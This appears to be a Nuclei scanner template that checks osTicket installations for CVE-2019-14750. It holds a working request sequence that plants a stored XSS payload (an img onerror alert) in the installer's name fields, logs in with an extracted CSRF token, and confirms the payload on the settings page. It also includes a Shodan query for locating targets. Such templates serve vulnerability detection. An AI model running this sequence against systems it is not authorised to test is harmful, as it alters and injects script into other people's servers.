id: CVE-2019-14750

info:
  name: osTicket < 1.12.1 - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.
  reference:
    - https://packetstormsecurity.com/files/154005/osTicket-1.12-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14750
  classification:
    cve-id: CVE-2019-14750
  metadata:
    max-request: 4
    shodan-query: title:"osTicket"
  tags: cve,cve2019,osticket,xss,intrusive

variables:
  user_name: "{{to_lower(rand_text_alphanumeric(6))}}"
  user_pass: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        POST /upload/setup/install.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        s=install&name={{user_name}}&email={{user_email}}&lang_id=en_US&fname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&lname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&admin_email={{user_email}}&username={{user_name}}&passwd={{user_pass}}&passwd2={{user_pass}}&prefix=ost_&dbhost={{dbhost}}&dbname=tt&dbuser={{username}}&dbpass={{password}}&timezone=Asia%2FTokyo

      - |
        GET /upload/scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        POST /upload/scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{user_name}}&passwd={{user_pass}}&ajax=1

      - |
        GET /upload/scp/settings.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - '<img src=x onerror=alert(1);>'
          - 'getConfig().resolve'
        condition: and

      - type: word
        part: header_4
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true